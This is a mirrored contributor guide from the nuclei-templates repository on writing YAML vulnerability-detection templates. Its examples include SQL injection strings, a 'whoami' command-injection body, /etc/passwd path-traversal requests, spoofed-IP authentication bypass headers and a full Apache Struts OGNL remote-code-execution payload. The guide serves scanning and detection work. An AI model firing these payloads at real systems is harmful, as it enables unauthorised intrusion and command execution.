mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-01-31 15:53:33 +08:00
- TEMPLATE-REVIEW-GUIDE.md: Internal data-driven review guide with actionable checklists and matcher quality framework - TEMPLATE-CREATION-GUIDE.md: Complete guide for template authors with step-by-step creation workflow and examples Both guides include: - Vulnerability-specific matcher examples - False positive prevention techniques - Quality standards and best practices - Official documentation references - Community support channels
524 lines
15 KiB
Markdown
524 lines
15 KiB
Markdown
# Nuclei Template Creation Guide
|
|
**Complete Guide for Writing High-Quality Security Templates**
|
|
|
|
---
|
|
|
|
## Getting Started
|
|
|
|
### **What is a Nuclei Template?**
|
|
Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
|
|
|
|
> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
|
|
|
|
### **Template Structure Overview**
|
|
```yaml
|
|
id: template-identifier
|
|
info:
|
|
name: Human Readable Vulnerability Name
|
|
author: your-github-username,vulnerability-discoverer-handle
|
|
severity: critical|high|medium|low|info
|
|
description: Clear explanation of what this template detects
|
|
reference:
|
|
- https://link-to-vulnerability-details
|
|
classification:
|
|
cve-id: CVE-2024-1234
|
|
cwe-id: CWE-89
|
|
tags: cve,sqli,rce
|
|
metadata:
|
|
verified: true
|
|
shodan-query: 'http.title:"VulnApp"'
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/vulnerable-endpoint"
|
|
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "vulnerability_indicator"
|
|
part: body
|
|
```
|
|
|
|
---
|
|
|
|
## Step-by-Step Template Creation
|
|
|
|
### **Step 1: Research and Understand the Vulnerability**
|
|
Before writing any code:
|
|
- [ ] Read the original vulnerability disclosure/advisory
|
|
- [ ] Understand the root cause and exploitation method
|
|
- [ ] Identify unique indicators that prove vulnerability exists
|
|
- [ ] Test the vulnerability in a controlled environment
|
|
- [ ] Document the vulnerable versions and affected components
|
|
|
|
### **Step 2: Choose Your Template ID and Info**
|
|
```yaml
|
|
# Use descriptive, short identifiers
|
|
id: apache-struts-ognl-injection # GOOD - clear and specific
|
|
id: vuln-app-rce # BAD - too generic
|
|
|
|
info:
|
|
name: Apache Struts OGNL Code Injection # Format: "Vendor Product - Vulnerability Type"
|
|
author: your-github-username,original-researcher-handle # Always credit the discoverer
|
|
severity: critical # Based on CVSS score and real-world impact
|
|
```
|
|
|
|
### **Step 3: Write Accurate Description and References**
|
|
```yaml
|
|
info:
|
|
description: |
|
|
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
|
|
OGNL injection vulnerability that allows remote code execution.
|
|
reference:
|
|
- https://cwiki.apache.org/confluence/display/WW/S2-057
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
|
|
- https://seclists.org/fulldisclosure/2018/Aug/31
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2018-11776
|
|
cwe-id: CWE-94
|
|
```
|
|
|
|
### **Step 4: Add Proper Tags and Metadata**
|
|
```yaml
|
|
info:
|
|
tags: cve,cve2018,rce,apache,struts,ognl # Be specific and comprehensive
|
|
metadata:
|
|
verified: true # Only if you've tested it yourself
|
|
max-request: 1 # Auto-calculated, don't set manually
|
|
shodan-query: 'http.component:"Apache Struts"'
|
|
fofa-query: 'body="struts" && title="Apache"'
|
|
```
|
|
|
|
---
|
|
|
|
## Writing Effective HTTP Requests
|
|
|
|
### **Basic HTTP Template Structure**
|
|
```yaml
|
|
http:
|
|
- method: GET|POST|PUT|DELETE
|
|
path:
|
|
- "{{BaseURL}}/endpoint" # Dynamic BaseURL variable
|
|
- "{{Hostname}}/another-path" # Alternative dynamic variable
|
|
|
|
headers:
|
|
User-Agent: Custom-Agent-String
|
|
Content-Type: application/json
|
|
Origin: https://example.com
|
|
|
|
body: |
|
|
{"param": "{{payload}}"}
|
|
|
|
disable-cookie: false # Cookies reused by default (optional)
|
|
|
|
matchers-condition: and # Require ALL matchers to pass
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "success_indicator"
|
|
part: body
|
|
```
|
|
|
|
> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
|
|
|
|
### **Using Variables for Flexibility**
|
|
```yaml
|
|
variables:
|
|
username: "admin"
|
|
payload: "{{rand_base(8)}}"
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/login"
|
|
body: |
|
|
username={{username}}&password={{payload}}
|
|
```
|
|
|
|
---
|
|
|
|
## Matcher Best Practices
|
|
|
|
### **🚫 Avoid Weak Matchers**
|
|
```yaml
|
|
# BAD - Too generic, will match many innocent systems
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "error"
|
|
- "admin"
|
|
- "login"
|
|
part: body
|
|
```
|
|
|
|
### **✅ Use Strong, Specific Matchers**
|
|
```yaml
|
|
# GOOD - Specific to the vulnerability
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "VulnApp Management Console v2.1.0" # Specific application version
|
|
- "Build 2024.03.15" # Specific build
|
|
part: body
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "OGNL_INJECTION_SUCCESS_{{randstr}}" # Proof of exploitation
|
|
- "java.lang.ProcessBuilder" # Technical indicator
|
|
part: body
|
|
condition: or # Any of these proves exploitation
|
|
```
|
|
|
|
### **Multi-Layer Verification Strategy**
|
|
```yaml
|
|
# Layer 1: Identify the application
|
|
# Layer 2: Confirm vulnerable version
|
|
# Layer 3: Prove vulnerability exists
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word # Layer 1: App identification
|
|
words:
|
|
- "Apache Struts Framework"
|
|
- "struts-tags"
|
|
part: body
|
|
|
|
- type: regex # Layer 2: Version detection
|
|
regex:
|
|
- 'Struts 2\.[0-4]\.[0-9]+' # Vulnerable version range
|
|
part: body
|
|
|
|
- type: word # Layer 3: Exploitation proof
|
|
words:
|
|
- "ognl.OgnlException"
|
|
- "java.lang.SecurityException"
|
|
part: body
|
|
condition: or
|
|
```
|
|
|
|
---
|
|
|
|
## Testing Your Template
|
|
|
|
### **Before Submitting - Test Thoroughly**
|
|
```bash
|
|
# Test against known vulnerable instance
|
|
nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
|
|
|
|
# Test against patched/non-vulnerable systems
|
|
nuclei -t your-template.yaml -target http://patched-app.local -debug
|
|
|
|
# Test against similar but different applications
|
|
nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
|
|
```
|
|
|
|
### **Validation Checklist**
|
|
- [ ] Template detects the vulnerability on vulnerable systems
|
|
- [ ] Template does NOT trigger false positives on:
|
|
- [ ] Patched versions of the same application
|
|
- [ ] Similar applications from the same vendor
|
|
- [ ] Generic web frameworks or CMSs
|
|
- [ ] Default server error pages
|
|
- [ ] Matchers are specific enough to avoid honeypots
|
|
- [ ] References are valid and accessible
|
|
- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
|
|
|
|
---
|
|
|
|
## Common Vulnerability Types - Template Patterns
|
|
|
|
### **SQL Injection Detection**
|
|
```yaml
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/search"
|
|
body: "q={{payload}}"
|
|
|
|
payloads:
|
|
payload:
|
|
- "1' OR '1'='1"
|
|
- "1' UNION SELECT version()--"
|
|
- "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
|
|
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "mysql_fetch_array(): supplied argument"
|
|
- "You have an error in your SQL syntax"
|
|
- "Microsoft OLE DB Provider for ODBC"
|
|
part: body
|
|
```
|
|
|
|
### **Remote Code Execution (RCE)**
|
|
```yaml
|
|
variables:
|
|
cmd: "whoami"
|
|
marker: "{{rand_base(8)}}"
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/execute"
|
|
body: |
|
|
command={{cmd}} && echo {{marker}}
|
|
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "{{marker}}"
|
|
part: body
|
|
- type: regex
|
|
regex:
|
|
- 'root|administrator|www-data'
|
|
part: body
|
|
```
|
|
|
|
### **Local File Inclusion (LFI)**
|
|
```yaml
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/view?file=../../../etc/passwd"
|
|
- "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
|
|
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- 'root:.*?:[0-9]*:[0-9]*:' # Linux /etc/passwd
|
|
- '\[fonts\]' # Windows win.ini
|
|
part: body
|
|
```
|
|
|
|
### **Authentication Bypass**
|
|
```yaml
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/admin"
|
|
headers:
|
|
X-Originating-IP: 127.0.0.1
|
|
X-Forwarded-For: 127.0.0.1
|
|
X-Real-IP: 127.0.0.1
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "Admin Dashboard"
|
|
- "Administrative Panel"
|
|
part: body
|
|
- type: status
|
|
status:
|
|
- 200
|
|
```
|
|
|
|
---
|
|
|
|
## Advanced Template Features
|
|
|
|
### **Using Extractors for Data Collection**
|
|
```yaml
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/info"
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: version
|
|
regex:
|
|
- 'Version: ([0-9\.]+)'
|
|
group: 1
|
|
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "Application Info"
|
|
part: body
|
|
```
|
|
|
|
### **Conditional Logic with DSL**
|
|
```yaml
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 200'
|
|
- 'contains(body, "vulnerable_pattern")'
|
|
- 'len(body) > 1000'
|
|
condition: and
|
|
```
|
|
|
|
### **Network Templates for Non-HTTP Services**
|
|
```yaml
|
|
network:
|
|
- inputs:
|
|
- data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}" # GET / HTTP/1.1
|
|
host:
|
|
- "{{Hostname}}"
|
|
port: 8080
|
|
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "Server: VulnServer/1.0"
|
|
part: data
|
|
```
|
|
|
|
---
|
|
|
|
## Submission Guidelines
|
|
|
|
### **Preparing Your Template for Submission**
|
|
1. **Validate Syntax**
|
|
```bash
|
|
nuclei -validate -t your-template.yaml
|
|
```
|
|
|
|
2. **Test Thoroughly**
|
|
```bash
|
|
nuclei -t your-template.yaml -target vulnerable-instance.com -debug
|
|
```
|
|
|
|
3. **Check for Existing Templates**
|
|
- Search the repository for similar vulnerabilities
|
|
- Avoid duplicating existing detection logic
|
|
- If improving existing template, explain why
|
|
|
|
4. **Follow Naming Conventions**
|
|
- Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
|
|
- Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
|
|
|
|
### **Pull Request Best Practices**
|
|
- **Title**: Clear description of what the template detects
|
|
- **Description**: Include:
|
|
- Link to vulnerability details/advisory
|
|
- Affected versions
|
|
- Testing methodology
|
|
- Screenshots/proof if possible
|
|
- **Testing**: Show debug output proving detection works
|
|
- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email templates@projectdiscovery.io
|
|
- **References**: Include all relevant security advisories
|
|
|
|
> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
|
|
|
|
---
|
|
|
|
## Quality Checklist
|
|
|
|
### **Before Submitting Your Template**
|
|
- [ ] **Functionality**
|
|
- [ ] Template detects the intended vulnerability
|
|
- [ ] No false positives on tested systems
|
|
- [ ] Matchers are specific and accurate
|
|
|
|
- [ ] **Attribution**
|
|
- [ ] Original vulnerability discoverer credited in author field
|
|
- [ ] All references included and valid
|
|
- [ ] Proper CVSS scoring if applicable
|
|
|
|
- [ ] **Quality**
|
|
- [ ] YAML syntax is valid
|
|
- [ ] Follows nuclei template conventions
|
|
- [ ] Includes appropriate tags and metadata
|
|
|
|
- [ ] **Testing**
|
|
- [ ] Tested against vulnerable instance
|
|
- [ ] Tested against non-vulnerable similar systems
|
|
- [ ] Debug output reviewed for accuracy
|
|
|
|
- [ ] **Documentation**
|
|
- [ ] Clear description of what template detects
|
|
- [ ] Proper severity classification
|
|
- [ ] Complete reference list
|
|
|
|
---
|
|
|
|
## Examples of High-Quality Templates
|
|
|
|
### **Complete CVE Template Example**
|
|
```yaml
|
|
id: CVE-2024-1234-apache-struts-rce
|
|
|
|
info:
|
|
name: Apache Struts 2.x OGNL Code Injection
|
|
author: your-github-username,original-researcher-handle
|
|
severity: critical
|
|
description: |
|
|
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
|
|
OGNL injection vulnerability in the namespace value that allows remote
|
|
code execution.
|
|
reference:
|
|
- https://cwiki.apache.org/confluence/display/WW/S2-057
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
|
|
- https://seclists.org/fulldisclosure/2018/Aug/31
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2018-11776
|
|
cwe-id: CWE-94
|
|
metadata:
|
|
verified: true
|
|
shodan-query: 'http.component:"Apache Struts"'
|
|
fofa-query: 'body="struts" && title="Apache"'
|
|
tags: cve,cve2018,rce,apache,struts,ognl,kev
|
|
|
|
variables:
|
|
command: "whoami"
|
|
marker: "{{rand_base(8)}}"
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "struts"
|
|
- "java"
|
|
part: body
|
|
condition: or
|
|
|
|
- type: regex
|
|
regex:
|
|
- 'root|administrator|www-data|apache'
|
|
part: body
|
|
```
|
|
|
|
---
|
|
|
|
## Getting Help
|
|
|
|
### **Resources**
|
|
- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
|
|
- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
|
|
- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
|
|
- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
|
|
- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
|
|
- **Testing**: Use local vulnerable applications for safe testing
|
|
- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
|
|
|
|
> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
|
|
|
|
### **Common Issues and Solutions**
|
|
- **False Positives**: Make matchers more specific, add version detection
|
|
- **YAML Errors**: Use online YAML validators, check indentation
|
|
- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
|
|
- **Performance Issues**: Minimize requests, optimize matchers
|
|
|
|
---
|
|
|
|
*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.* |